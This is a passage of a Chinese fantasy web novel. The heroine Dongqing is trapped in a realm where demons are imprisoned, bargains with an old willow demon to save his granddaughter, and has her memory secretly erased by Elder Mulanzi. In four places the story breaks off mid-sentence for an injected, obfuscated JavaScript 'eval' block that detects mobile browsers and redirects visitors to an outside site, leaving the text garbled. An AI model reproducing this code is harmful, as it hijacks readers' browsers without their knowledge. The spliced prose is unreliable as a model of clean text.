“我问你,跟你一起离开的那个姑娘呢?!”池南手下力道加重,语气沉冷的好似能结冰。 “我不知道!”土墩儿急道,“她本来答应我要跟我去摘果子,马上到了的时候却不见了……” 他这才反应过来,“她没回去找你们?” 他惊慌失措,反应不像在说谎,池南犹豫着松了手,“带我们去你最后见她的地方。” 土墩儿爬起身来,伸手去捡掉落在地的红果,它爪子刚伸到果子边—— “啪!”那果子便被讨厌的狐狸一脚踢飞了。 “我没什么耐心。”池南声音冰冷地催促道。 土墩儿吓得一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362859|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哆嗦,只好在前方带路,他循着来路,一直走到那处峡口,“就是在这儿。” 池南打量了一下黑灰峭壁,这山体的岩石没什么出奇的,也没有发现什么阵法结界的灵力波动。他穿过峡口,果然看见了土墩儿所说的果树。 他方才被急昏了头,凭这一只小妖,应该奈何不了手握多种法器的冬青,况且这里不像有大妖出没的痕迹,一点残留的妖气也无。 这时,柳又青赶了过来,她气势汹汹的拎起土拨鼠,叱道,“是不是你搞的鬼!” “不是我不是我!”土墩儿吓得四条腿乱蹬,忽然想起路上池南说的话,对柳又青道,“传音铃是我摇的,我真的不知道冬青去哪了!” 柳又青也如池南一般细细检查了峡口周围,一无所获。她叫来池南,“我们兵分两路找,一个时辰后在此地汇合,若届时还找不到冬青,我们便到谷顶去找苜岚子!” 池南点头应允,两人一东一西分头寻找。 穷渊界,一间简陋的木房子内,柳素为躺在床上的冬青倒了一杯水,递到她嘴边。 冬青就着她的手大口大口喝下,清凉的液体滚过干涩的喉咙,她总算能勉强出声了,她问,“这是哪?” “这是穷渊界,我叫柳素,是个刚化形的柳树妖。” 柳素自聚形起便生活在穷渊界,几乎没有见过人类,她毫无防备的自报家门,并凑上前去细细打量着冬青,“你长得真好看,比我们这里的妖都好看。” “这里生活的,都是妖吗?”冬青问。 “是啊。”柳素坦然,“我就见过一次人类,不过离的很远,看不清。” “素素,你先出去。”柳淮推门进来,“我有话与她说。” “哦。”柳素不情不愿的出去了,走到门口还不忘用力把漏风的门板拽严。 柳淮坐在冬青对面的矮凳上,笑起来的时候脸上的肉堆起,把眼睛挤成了一条缝,看上去还有几分和蔼可亲,他问:“小姑娘,老夫柳淮,怎么称呼你?” “冬青。”冬青手藏在袖袋里,攥紧了法器。 “冬青,我对你没有恶意。”柳淮开门见山地说道,“不过你毕竟是个人类,若让你在外面待着,其他妖可能会有异议,所以只好把你带到我家。” 冬青短促的“嗯”了一声。 柳淮说,“我不知你是如何进来的,但我没法把你送出去,因为我也不知到如何走出这结界。” 冬青蹙眉,“这里到底是什么地方?” “这里啊……”柳淮吹了吹茶杯里滚烫的柳叶水,“是你们人类关押我们妖族的地方。” “术士把我们妖族抓进来,设下阵法,像熬油灯一样,慢慢耗干我们的妖气。”他笑了两声,咂了两口滚烫的茶水,“时间刚好,即便是刚聚形的妖,也能撑到足够凝聚出一颗妖丹之时才散形……与其说关押,倒不如说是一场漫长的凌迟,这样想来,倒不如当初被一刀杀了来的痛快。” 冬青沉默听着,心中震动。她看着柳淮和蔼的笑容,“这么说,你们对人应该恨之入骨,你又为何要救我?” “据我所知,每隔一段时间便会有妖被术士扔进结界里,如果在那时让术士看见你,自然就会带你出去。” 冬青下意识看向外面红如滴血的天空,“作为交换?” “作为交换,”柳淮一直眯起的眼睛蓦地睁开了一条缝,浑浊却精明的双眼锁死冬青,“我要你带素素出去。” 14. 第 14 章 “我答应你。”冬青一口应下。 穷渊界从来有进无出,冬青的到来让柳淮这棵老树妖看到了一丝希望,于是他老谋深算地把她带到这里来,只是为了那棵小柳树妖的未来而孤注一掷,在冬青彻底没有利用价值之前,她的性命起码不会受到威胁。 “你们人类有句话,君子一言,驷马难追。”柳淮起身,浑浊的眼闪过一丝不易察觉的希冀,他留下一句话转身离去,“希望……你是那个君子。” 门吱呀一声打开又关上,冬青看着柳淮逐渐远去的背影,轻轻松了口气。 “冬青!” 这口气还没吐匀,一个纤细的影子飞快地闪进屋子,冬青那口气又瞬间提到嗓子眼儿。 柳素凑近,一双圆眼睁的溜圆,“冬青,我祖父与你说什么了?神神秘秘的。” 柳淮走之前特意交代此时要对柳素保密,冬青眼珠一转,对她说道,“你祖父说我身上有熟悉的感觉。” 柳素点头如捣蒜,高声附和连连,“是啊是啊,我也这么觉得,而且方才好多妖都这么觉得!” 她一介凡躯,怎么会让妖觉得身上有熟悉的味道? 冬青心中疑虑更甚,面上不动声色的问,“你有听过别的妖见过类似情况的吗?” 柳素摇摇头,“见过人类的妖都对人类避之不及,哪里会感到熟悉呢?” 她掰着手指头,正抬头想说些什么,却忽然伸手揩掉了冬青额角的汗珠,“你怎么出这么多汗,不舒服吗?” 不舒服吗? 冬青也不知道这是怎么了,自打醒来后,五脏六腑内就好像有什么东西在烧,就像是把她整个人剖开翻了个面架在火上烤,燎得她口干舌燥,躁郁异常。 她抿了抿干裂的唇,“素素,能……给我一杯水吗?” 柳素“噗嗤”一声笑出来,利落地倒了一杯水递过去,“这有什么不能的,你瞧你,一杯水而已。” 绛茵谷内又毫无征兆的下起了暴雨,柳又青避之不及,被浇了个透心凉,但她此时顾不得那么多,她已经在树林里找了半个多时辰,翻遍每一个能藏身的角落,却还是没有冬青的踪影。 一个时辰之约已到,她与同样一无所获的池南在峡口汇合。 暴雨沉闷地打在砾石上,雨水汇成浑浊的细流顺着岩壁冲刷而下,柳又青抹了把脸,当机立断,“走,我们出谷!土墩儿你留在此处,若看见冬青,立刻摇传音铃!” 几人顶着瓢泼大雨,一路狂奔至来处,两朵莲花飞阶如老僧入定,稳稳停在树顶上方一动不动。 柳又青心急如焚,狠狠跺了一下脚,她低声骂了一句,从湿透的衣袋里拿出一沓黄纸。 她用血咬破自己指尖,殷红的血珠冒出,按照记忆里的飞符画法把自己的指尖按了上去。 她把画好的飞符夹在微微颤抖的指间,“风行,飞毯,起!” 符箓纹丝未动。 柳又青不死心,重复道,“风行,飞毯,起!” 符箓象征性地动了一下,随后死了一般软趴趴的垂倒在她指尖。 “她是不是画错了?”无相在一旁看得分明,小声嘀咕。 “是。”池南低声道,“也不知道仙人顶都是怎么教外门弟子的。” 符箓一张张被雨打湿,柳又青又急又怒,一边骂骂咧咧一边发狠似的把右手五个指头都咬破,“我就不信了!” “咦惹!”无相看不下去了。 池南心道你别不信了,他走上前,用爪子扒住柳又青滴血的指头按在符箓上,控制着她下笔的走向。 柳又青杏眸震颤,“你怎么……” 话还没说完,池南已经收了手,一张标准的飞符赫然躺在她手中。 趁着这张宝贵的符箓还没被雨打湿,柳又青连忙把它夹在手里,深吸一口气,重新喝道,“风行,飞毯,起!” 符箓“卒”的一声在指尖无风自燃,灰末迅速汇聚到脚下,延展、交织,铺成一张巨大的毯子,托着一人一狐腾空而起。 飞毯迎着暴雨几乎呈垂直状攀升,强劲的气流裹着雨水劈头盖脸砸下,池南扒紧毯沿才勉强没有被甩下。 好在没一会,飞毯的速度便慢了下来,从垂直变成水平后轻轻搭在崖顶。 柳又青和池南跳下刚飞毯,那毯子便化作灰末,消散在茫茫雨幕中。 漫天细密雨丝中,透明的气泡浮动在空中,雨滴滴落在气泡上,似撞上弹性薄膜一般化作千万细小雨滴四溅开来。 这还不是真正的崖顶。 他们还在阵里。 “天杀的!究竟哪个是阵眼!”柳又青四下望去,只觉得每个气泡长得都一样,“若是不行,我便要强行闯阵了!” 强行闯阵必真气逆涌,灵脉必损,池南斜睇了柳又青一眼,不过与冬青相识数日,便能做到如此地步,倒也是个至情至性之人。 他看了一眼复杂的阵法,眼中闪过一丝了然。 雕虫小技。 “且慢。”他冷笑道,“我来。” 柳又青循声望去,顿时呆立原地,“你……” “晚些解释,我现在需要你渡我一点真气。” 池南的语气不容置疑,柳又青纵然心中翻江倒海,却还是双手结印,凝了一团真气递了过去。 一团淡绿的真气丝丝缕缕的飘进池南体内,与他匮乏的真气冲撞在一起,他强压下陌生真气带来的不适之感,将所有心神专注于眼前阵法。 他轻轻闭上了眼睛,强大的真气被强行调动汇聚于眼部经络。 下一刻,金黄竖瞳骤然睁开! 随着他骤然睁开双眼,眼前便全然换了一副景象,一片漆黑空间中,悬浮着无数发光的气泡,而在这些杂乱的气泡中,有七个正发着幽蓝的荧光。 “午位前三丈。”池南冷静而清晰的声音响起。 柳又青依言飞针疾射而出,准确狠厉地刺破池南指定的气泡,气泡“啵”的一声炸开,掀起一阵气浪。 “巽位,左两丈。” “巳位,丈五。” “酉位,肋下一丈。” “申位,三丈半。” “丑位,八尺。” 柳又青一个一个刺破。 气浪不断掀动她的衣袂,她蓦然回首,目光穿过狂风暴雨,落在那只看向崖边沉静的、纹丝不动的狐狸身上。 那双黄金竖瞳一眨不眨,“最后一个。” “亥位,两丈半。” 柳又青飞身而去,银针带着破空锐响,精准命中。 “轰——!” 随着最后一个阵眼被毁,笼罩在崖间的阵法剧烈波动,如同琉璃般轰然碎裂,随后雨霁云开,久违的艳阳倾泻而下,照着浑身湿透的几人,无相止不住打了个寒颤。 池南催促柳又青,“快去,找苜岚子。” “好!”柳又青拔腿狂奔。 灵枢苑百花潭内,为苜岚子护法的白袍弟子夏阳珉睁开眼睛,他扭头看向潭中静息修炼的苜岚子,轻声道,“师父,有人闯了绛茵谷口的阵法。” 苜岚子仍旧闭着眼,气息沉静如水,“你去看看。” “是。”夏阳珉立刻起身,叫来一个内门弟子顶替了他的位置。 他快步走出百花潭,便有看见一个甩着高马尾的姑娘慌慌张张跑来,他定睛一看,那不是前些日子罚进绛茵谷的柳又青吗? 应当就是她闯了阵法。 “师……师兄!”柳又青气喘吁吁跑来,“冬青不见了!” 夏阳珉剑眉微皱,“怎么回事,你说清楚。” “我本与冬青分头种植空蝉花,等我得了空去找她时却怎么找都不见她踪影!” “你且稍等,待我进去回禀师父。”夏阳珉将她拦在外面,他快步走进百花潭,对着苜岚子微微俯身,“师父,前些日子进绛茵谷受罚的外门弟子柳又青来禀,称与她一同进去的冬青在谷内失踪了。” 苜岚子睁开眼睛,她淡极的眸子扫过夏阳珉,“知道了,你们都下去。” 众弟子恭敬俯首,静静退下。 待百花潭只剩她一人,苜岚子自潭中起身,水珠自她深色的衣袍滚落,未留一丝痕迹。 她走到岸上,手臂一挥,一张约五尺高的水镜浮现在眼前,水波粼粼,慢慢晃动出一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362860|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红天暗地、荒芜死寂的景象。 苜岚子手一挥,画面便随之切换。 突然,她神色一凛,伸手挥散了水镜,快步走出百花潭。 柳又青正在与夏阳珉争执,见苜岚子从百花潭走出,连忙推开了夏阳珉,拱手道,“苜岚子长老,我……” 苜岚子抬手将其打断,“我知道你要说什么,走吧,我知道她在哪。” 柳又青闻言松了口气,她忙抢步在前面给苜岚子引路,走时还不忘狠狠瞪了夏阳珉一眼。 夏阳珉:“……” 池南和无相在崖边等候,远远见人来了,三两下上树,从茂密枝叶的间隙窥视。 柳又青随苜岚子由远及近,两人走到崖边停下了脚步。 苜岚子抬手道,“你留在此处候着。” 说罢,她踏上莲花飞阶飞身而下,消失在山谷的浓雾中。 穷渊界红河高悬,热气弥漫,走在路上的小妖热的蔫头搭脑,精神不济。 他掐腰指天破口大骂,“狗老天!热死老子了!你倒是下点雨啊!” 突然,“轰”的一声,天上的红河竟缓缓开了一道刺目的白色口子。 “我艹?”小妖畏缩收回指天骂地的指头,“我这么神吗?” 柳淮也听到了天空传来的熟悉的巨响,他箭步冲进小屋内,对同样起身来到门口的冬青道,“来了。” 冬青把目光投向一旁不明所以的柳素。 柳素看着冬青异样的目光,“怎……怎么了?” “素素。”柳淮唤了她一声,在她看过来的一刹,枯瘦的手掌猛地伸出,一股强大精纯的妖力自掌中喷涌而出,形成一个巨大光茧,将柳素紧紧包裹在里面。 “祖父?”柳素被困在妖力封闭的茧内,面露惊骇,她用力拍打着茧壁,清楚的感觉到体内妖气正被抽丝剥茧般地剥离,她痛苦地蜷缩跪伏在地上,不断拍打、抓挠着茧壳,“祖父?您关我做什么?!放我出去!好痛啊!” “素素,祖父……祖父也是不得已而为之!只有这样,你才能活下去!”柳淮双眼湿润,非但没有停手,反而加大了力道。 妖气被一点一点吸光,柳素此刻像一条搁浅的鱼,用力掐着自己的喉咙,窒息感带来的巨大痛楚使她脸憋的通红扭曲。 柳淮眼中闪过巨大的痛楚,他一咬牙,双手猛地向内一收! 光茧迅速收缩,蜷在地上的柳素身形一散,变成了一片小小的柳叶,最终轻轻飘落在他掌心。 “冬青,”柳淮颤抖着手,把那片小柳叶郑重地放在冬青掌心,声音透着一丝隐忍道极致的哽咽,“她只是回到化形前了,妖气低微,不久后会醒来,到时……到时你记得告诉她,是祖父对不住她。” 冬青把柳叶揣进袖袋妥帖放好,看着远处天空往这边飞速赶来的人影,对柳淮道,“快,攻击我!” 她飞速解释道,“我必须得受点伤,不然瞒不住柳素的事。” 柳淮瞬间明白了她的用意,果断出手,一片如刀的柳叶裹挟着劲风向他袭去。 又利又薄的柳叶在冬青身上划下数道见血的伤痕,劲风将她整个人掀起,狠狠贯倒在数十步开外的地上。 正当柳淮蓄力下一击时,两弯蓝色的月牙形飞刃骤然带着强劲的真气破风而来,将他掀飞撞在石墙上后,两弯刃瞬间搭在一起,呈十字将柳淮死死扎在石墙上。 苜岚子飞身下来,搀起冬青,往她嘴里塞了一枚止血丹药。 “苜岚子长老。”冬青用袖子擦掉嘴角的血,呛咳着将丹药吞下。 苜岚子淡淡看了柳淮一眼,五指一收,弯刃便飞回她手中,化作手腕上一个古朴的淡蓝色的手镯。 “没事吧?”她问冬青。 冬青摇摇头。 “走吧,我带你回灵枢苑疗伤。”苜岚子手一挥,一把弯刃迅速变大,将冬青托在了上面。 两人向天空中缓缓闭合的白色裂口飞去,凛冽的风吹拂冬青染血的脸颊,她鬼使神差的,回头看了柳淮一眼。 下方荒芜的大地上,他仍是笑着,双眼却大睁着,直到在冬青视野里化为小小的一点,消失不见。 15. 第 15 章 “谷主。”一名紫袍弟子悄然落至身后,她拱手行礼,琵琶袖边月牙金纹若隐若现。 稀薄的天光透过雕花窗棂,洒进恢弘大殿间,空气中的尘埃在光线中跃动,大殿中央,一名身着深紫色长袍的男子缓缓转过身来。 他戴着一面打磨得极薄的玄铁面具,遮住了大半张脸。 “有消息么?”他问。 “……没有。”紫袍弟子垂首回复。 “下去吧。”他挥了挥手。 紫袍弟子恭敬退下。 男人慢慢走上殿顶宝座,打了个清脆的响指,一片弯月从他腰间束带飞出,在他面前膨胀延伸,变成一面月牙形的透明镜子。 镜面如水波荡漾,映出一个女人的面庞。 “苜岚子,我告诉过你不要轻易与我联系。”他翘起腿,仰靠在宝座里,下巴微微扬起。 “事发突然。”苜岚子仍是那副波澜不惊的沉冷表情,但语气中却透着十足的恭敬,“我这边有个杂役弟子,误打误撞进了穷渊界。” 大殿上首的男人眸色一凛,“误打误撞?穷渊界的结界就算是七重天的阵修术士都未必能打开,一个杂役弟子怎么可能误打误撞进入结界。” “看样子不像有意闯入,现下人已经被我带了出来。”苜岚子请示,“怎么处置?” “抹掉她的记忆。”男人声音低沉,“再派人监视她的一举一动。” “是。”苜岚子抬手挥散了水镜,转身走出百花潭。 灵枢苑供弟子疗伤的西偏殿内,夏阳珉再次将柳又青拦在了外面。 “柳师妹,不是我不让你进,师父有令,在她与冬青谈话后自会放她离开。”夏阳珉长臂伸展,拦在门前。 面前这个小师妹力气实在大得很,他拦得费力,又不能出手伤她,卡在门外一时进退维谷。 “夏阳师兄,冬青伤的那么重,你让我进去看一眼也好啊!”柳又青不管三七二十一,直接上手推搡夏阳珉,伸长了脖子往殿内张望。 “灵枢苑的弟子已经为她疗伤了,她无大碍!” “我不管,让我进去看一眼!” 正当夏阳珉架不住柳又青的大力推搡而连连后退时,殿内为冬青疗伤的弟子端着铜盆走出,她直接越过两人,对着前方微微俯身,“师父。” 柳又青连忙松开了紧拽夏阳珉衣襟的手,若无其事地转过身去。 夏阳珉抚了抚皱巴巴的衣襟,叫道,“师父。” “你们两个,”苜岚子冷声道,“退下。” 两人互瞪一眼,连忙恭敬行礼退下。 西偏殿内,冬青仰面躺在床上,看向床幔上挂着的安神熏香球。 丝丝缕缕的缭绕雾气从精致的镂空雕花中飘出,冬青起身,用残茶浇灭了熏香。 “不喜欢这个味道?”门口突然传来一个听不出情绪的声音。 冬青将茶杯放回案上,“苜岚子长老。” 苜岚子微微颔首,坐在她面前,“在穷渊界都看见什么了?” 冬青眉头一锁,黑漆漆的眸子中流露出几分恐惧,她似乎想到什么可怕的事情,打了个冷颤,畏缩道,“看见了……很多妖……” 她眼珠在眼眶里乱转,语无伦次道,“他们以为我是个术士……想……想要真气,但在看见我没有真气……就……就想把我杀掉!” 苜岚子淡得近乎透明的双眼一瞬不瞬地盯着她,似乎想在那张充满恐惧的脸上捕捉到别的什么情绪。 冬青十指绞在一起,咬牙问道,“长老,那里……是什么地方?” “那里是我们关押凶戾妖物之地,近来结界松动,才让你误打误撞进了去。”苜岚子握住了她布满细小伤痕的手,“我已经派人加强结界,不会再有人误入了。” 冬青闻言,浑身的颤抖才稍稍减弱了一些。 “说到底,也是因为我疏于检查,才让你遭受这无妄之灾。”苜岚子扶着她的肩头躺下,“弟子到底毛手毛脚,左右我现下无事,帮你好好治疗一下这满身的伤。” 冬青直起上半身,“长老,我……” “乖乖躺着。”苜岚子将她按了回去,冰凉的手掌不由分说的将冰凉的手掌覆在她额头上。 冬青挣扎了一下,竟像是被冻住一般动弹不得,寒凉刺骨的真气顺着经络汹涌灌入四肢百骸,她声音止不住颤抖,“苜岚子长老……” “嘘——”苜岚子另一只手食指一动,冬青便立刻发不出一点声音。 四肢止不住的抽搐,眼前景象不断扭曲旋转,脑海中仿佛有一只手在疯狂搅弄一般让人作呕。 冬青额角青筋鼓起,强烈的刺激使泪水盈满了她的眼眶,无声顺着眼角滑下,打湿了她头下的软枕。 不知持续了多久,她的四肢猛然一僵,随后如被人抽去了筋骨一般,瘫软垂下。 苜岚子收回手,擦了擦额头浸出的细密汗珠。她重新点燃了床幔的熏香,随后缓步走出殿外。 柳又青焦躁的在殿门口来回踱步,啪嗒啪嗒的脚步声让夏阳珉没来由的心烦,他刚要开口打断,忽然余光一瞥,见一深色身影走出屋内,立刻上前恭敬叫道,“师父。” 柳又青脚步一顿,忙冲上前,“苜岚子长老,冬青她……” “睡着了,一个时辰后再进去看她。”苜岚子头也没回,从她身旁径直离开,“你们两个的罚暂且免了。” 待苜岚子转身进了百花潭,柳又青才敢轻声嘟囔道,“什么臭脾气!” 树顶传来窸窸窣窣的响动,随后一道红色影子跳下来,抖了抖身上的落叶。 “小红!”柳又青正欲亲近,脑海里却忽然闪过崖边破阵时那双沉冷的眼,她放轻声音,问道,“你究竟是何方神圣?” 池南懒得再解释一遍,“等冬青醒来让她给你讲吧。” “……”柳又青心中默念两遍“这是冬青的狐狸”,才勉强堆砌起笑意,“那你能不能进去看看冬青,门口有弟子守着不让我进,我担心的紧。” 池南心中正有此意,点点头算是回应,他轻轻一跃,和无相一起从窗沿钻了进去。 殿内寂静无声,从池南的角度看去只能看见冬青垂落榻沿的一截苍白手腕。 忽然,他的鼻子抽动,仍不住扭头打了个喷嚏。“什么味儿啊。” 无相猛嗅了几下,茫然道,“哪有味儿啊?” “你没闻到?”池南斜睨他。 无相摇头,“你这什么狗鼻子?” “滚蛋。”池南跳下窗,心里突然没来由的一跳。 “怎么了?”无相落在他身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362861|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问道。 池南视线投向那道白色的床幔,透过轻薄的布料隐约能看见躺在里面的人影。若在平时,即便冬青睡着了,稍有一点风吹草动也会立刻醒来,可是方才……他与无相并没有克制说话的音量。 他跳上床沿,一口咬开床幔。 冬青衣裳破烂,大量血迹干涸在上面,整个人像刚从水里捞起来一样,面色苍白,汗湿的碎发贴在额角,眼角还挂着水珠。 池南心头一紧,伸手向她身下的褥子摸去,冰凉潮湿的触感从掌心传来,整片褥子、软枕一片濡湿。 “冬青,冬青!”池南连唤几声,毫无反应。 “你先别急。”无相将手轻轻搭在她额头,“据说苜岚子有一种独门的疗伤功法,只不过会让人感到如坠冰窟,待寒凉之气消散,这伤病也就彻底好了。” 池南眉头紧锁,看向无相,“哪有这么疗伤的?” 无相摊了摊手,“此法虽烈,但胜在效果奇佳,我方才搭她的脉,她的身子比以前还要好些呢。” 池南这才松了口气,他顺着床幔向上看去,目光蓦地定格在上面挂着的一枚熏香球上。 “那是什么?” 无相飘上去,将盖子打开,浓郁的香灰扑了他一脸,他手作扇状在鼻尖前扇了扇,“安神香吧?” 哪有这么呛人的安神香,怕不是直接把人熏晕了。 “仙人顶怎么这么多稀奇古怪的东西。”池南嫌弃,用真气勾出茶壶里的一缕茶水浇在安神香上。 “滋啦”一声,好不容易重燃的安神香被浇了个透。 天光自窗棂泻下,由明转暗,直到冷白月华如霜般铺满偏殿青砖,冬青才悠悠转醒。 头痛欲裂,身上却难得轻松,冬青头重脚轻地摸索下地,为自己倒了一杯冷茶。 陆陆续续灌下一壶涩得发苦的茶水后,冬青头脑总算清楚了些。 池南听到细微响动,睁开眼睛。他甩掉躺在狐狸毛上的无相,说道,“柳又青在这里守了你一下午,一个时辰前回去了。” “嗯,明日我当面谢她。”冬青变戏法一样从袖袋里掏出两颗归元果递给他,忽然,一抹绿从她袖口飘出,晃晃悠悠地落到桌案上。 冬青拾起,迎着月光一看,是一片嫩绿的柳树叶,但叶子脉络竟然是金色的。 “这是什么?”池南问。 冬青觉得这叶子实在眼熟,却又想不起来它怎么会出现在自己的袖袋中,“嘶……不知道,留着吧,当书签也是好的。” 她又将其揣进袖袋里,倒是池南却追问道,“它出现在你袖袋里,你不知道它是什么?” 在进绛茵谷前,他从未见过冬青身上有这样一片叶子。 “你追着那土拨鼠去了之后,我和柳又青翻遍了整个山谷都没找到你,你去哪了?” “我记得我掉进了一个阵法,之后……”冬青回想着,头却像被撕裂了一样痛,“之后,再睁眼,我便已经被苜岚子带出来了。” 池南直觉不对,他问,“进了阵法之后的事呢?” 冬青用力回想,记忆却像被撕碎了一般,任她怎么努力想看清,都如雪泥鸿爪,难以捕捉分毫。 半晌,她得出一个自己都难以置信的结论。 “我……忘了。” 16. 第 16 章 冬青心里一直盘桓着她掉进阵法后的空白记忆,以至于做什么都心不在焉,拿个扫帚在院子里画着圈的扫,尘土落叶被扫聚又无意识地扫开。 她心里烦躁,干脆将扫帚一扔,盘坐在院中进入识海。 熟悉的漆黑漫入眼帘,冬青有些时日没有潜心修炼,她尝试着起心动念,没想到整个竹居和周围的竹林竟毫无阻隔地被她纳入识海,而且檐角风铃下飘起的缎带、花瓣上的将滴欲滴的露水、啃食竹叶的幼虫……这片领域内的一切,只要她想,便能轻而易举的感知到。 身下浅水微动,她兴奋地站起身来,直接将池南与无相纳入识海。 无相看上去比她还兴奋,他晃着拂尘跑进竹林里,捧起一抔土用指尖细细碾磨。 “小冬青,你是不是偷偷修炼了啊!”无相跑回来,“你已经能感知到完整的竹居了!” 冬青摇了摇头,“我一进来,就发现自己能对更多事物建立感知了。” 无相闻言垂眸思索道,“有可能是因为苜岚子为你治疗后你的身体素质比之前好了一些,要知道身体也是术士修炼的必要前提。” 她闻言点点头,盘坐下来,决定先从离竹居最近的修心池开始。 心念延伸,似游蛇一般向一个方向蜿蜒而去,所及之处,景象尽数如水墨般晕染浮现在识海中。 不止无相,连池南也驻足看着那堪称神奇的一幕,仙人顶的小径、小径周围的树木花草……一切似小草破土而出一般从那透明的水面上拔起,清晰到纤毫毕现。 术士的识海是其精神在脑海中的显像,人各有异,但通常是根据记忆里的某一处令人安心的地方建立起的一片空间,识海与现实就算再接近,也总归会有一些出入。 池南看着闭目的冬青,他本以为识海里会出现竹居,是因为她下意识对这里感到心安,但现在…… 眼前景象不断延伸扩大,池南怀疑,竹居可能根本不是什么心安之处,而是因为她就在这里,才选择以此为起点。 池南游历大江南北,阅人无数,识海强大的术士,能感知到一定范围内的所有东西,这片范围内的一切在其识海中都无处遁行,但从未见过有人初入识海,就能像复拓一样,把自己周围的一切完完整整复现到识海中。 无相用手肘碰了碰池南,“诶,你当初修炼识海的时候,是什么样的?” 池南在从沉剑渊把无相剑拔出来之前,识海便已经强大到恐怖如斯的程度了,所以无相也没见过,那片空间最初的模样。 “我啊,”池南回忆道,“最初根本就修炼不出识海,后来我爹告诉我,要把那里当作只属于你一个人的桃源,在那里不用做任何人,我就是我,我就想到在草木青山后面,只有我一个人知道的那片瀑布。于是我的识海便是以那片瀑布为本慢慢延伸出来的。” 他扭头,却见冬青不知何时睁开了眼睛,正目光灼灼的望向他。 “……”池南咽了下唾沫,心里隐隐有种不好的预感。 “小红,我能……”冬青恳切地看着他,“看看你的识海吗?” 池南一愣,下意识摇头拒绝。 术士的识海可以说是这个人的最高隐私,因为当一个人的识海成型之后,他的所思所想都会完整的显像到其识海中,因此唯有彼此绝对信任、亲密无间之人,才能进入对方的识海。 他有点心虚地看向冬青,她现下刚接触识海不久,可能还不懂进入他人识海意味着什么。 “不可以吗?”冬青追问道。 “我……” 这件事情解释起来太过复杂,池南还从来没被这么“唐突”地请求过,他耳尖突然有些发烫,只好吱唔道,“我元神受损比较严重,所以……现在还不能让你看。” “好吧。”冬青很快接受了这个说法,“那你元神怎样才能恢复的快些?” 池南咳了两声,扬眉道,“好吃好喝供着我就行了。” “好。”冬青想也没想同意道。 池南悻悻摸了摸鼻子,似是没想到她答应得这么爽利。 广袤识海中,从竹居通往修心池的那条路已经完整的出现,可她再想继续向里延伸时,却发现心念仿佛撞到了一堵无形的墙一般再难向前。 怎么回事? 她走到那条路突兀的断口,盘坐下来,尝试让心念继续铺展。 与方才一样,又被挡住了。 冬青抬手向前伸去,手臂轻而易举的穿过了心念受阻的那道“屏障”。 她不死心,反复尝试了多次,但都以失败告终。 于是池南和无相便看见了冬青盘坐在小径断面,身形在一块鹅卵石面前不断放大、缩小、放大、缩小…… “她在干什么?”池南问。 “在巩固‘芥子须弥’吧?”无相也有些摸不着头脑,方才不是还在尝试把修心池纳入识海吗? “我怎么感觉像是修炼自闭了呢?” “哎呀,”无相看着那个一会大一会小的身影,咂摸出了几分躁动的意味,他凑上前,笑嘻嘻道,“小冬青,修炼急不得!” 冬青停了下来,瞥眼看向无相那没心没肺的笑脸,心里火更大了。 她正卡在瓶颈处进退维谷,他便顶个皱巴巴贱兮兮的笑脸凑上前,不帮忙也就罢了,反倒告诉她什么修炼急不得。 脚下浅水微微有了波动,无相还以为自己劝慰起了作用,正欲再劝下去,忽然一股大力从腰后传来。 他一个趔趄,捂着腰愤愤向后一看,罪魁祸首池南慢步走上前来,站在他刚才的位置上,“冬青。” 他道,“你太心急了。” 没等冬青说话,他便继续道,“你先别急着拓宽识海范围,现在,试着让识海中只留存你,与一粒沙子。” 冬青立刻明白了池南的意思,眼睛一亮,“由俭入奢易,由奢入俭难。” 池南点头,“就是这个道理。” 冬青重新闭眼,识海里的一草一木,一砖一瓦,如退潮般一件一件遁入那浅水之下。 待到整个竹居已经被拆吞入腹后,池南和无相眼前一晃,出现在了真实的院落中。 “看样子是成了。”无相走到冬青面前,端详着她敛目的沉静面容。 漆黑空间中,随着她身下最后一棵小草隐入水下,冬青有些疲累地睁开双眼,一粒沙子静静悬浮在她眼前。 但她觉得还不够,于是手指向前伸去,轻轻搭在那粒沙子上。 哗啦—— 浅水轻响一声,一棵小草破水而出,紧接着是第二株、第三株……随后慢慢的,那片竹居又重新出现在识海中。 冬青疲惫的站起身来,退出识海。 柳又青不知何时来了,她手提着个精致的匣子,“方才小红让我不要出声打扰你,我就没说话。” 冬青看向池南。 “你跟她解释吧,我懒得重复了。”他下巴一扬,跳下石桌进屋去了。 冬青便把池南关于身份的说辞又和柳又青复述了一遍。 “原来是个术士,吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 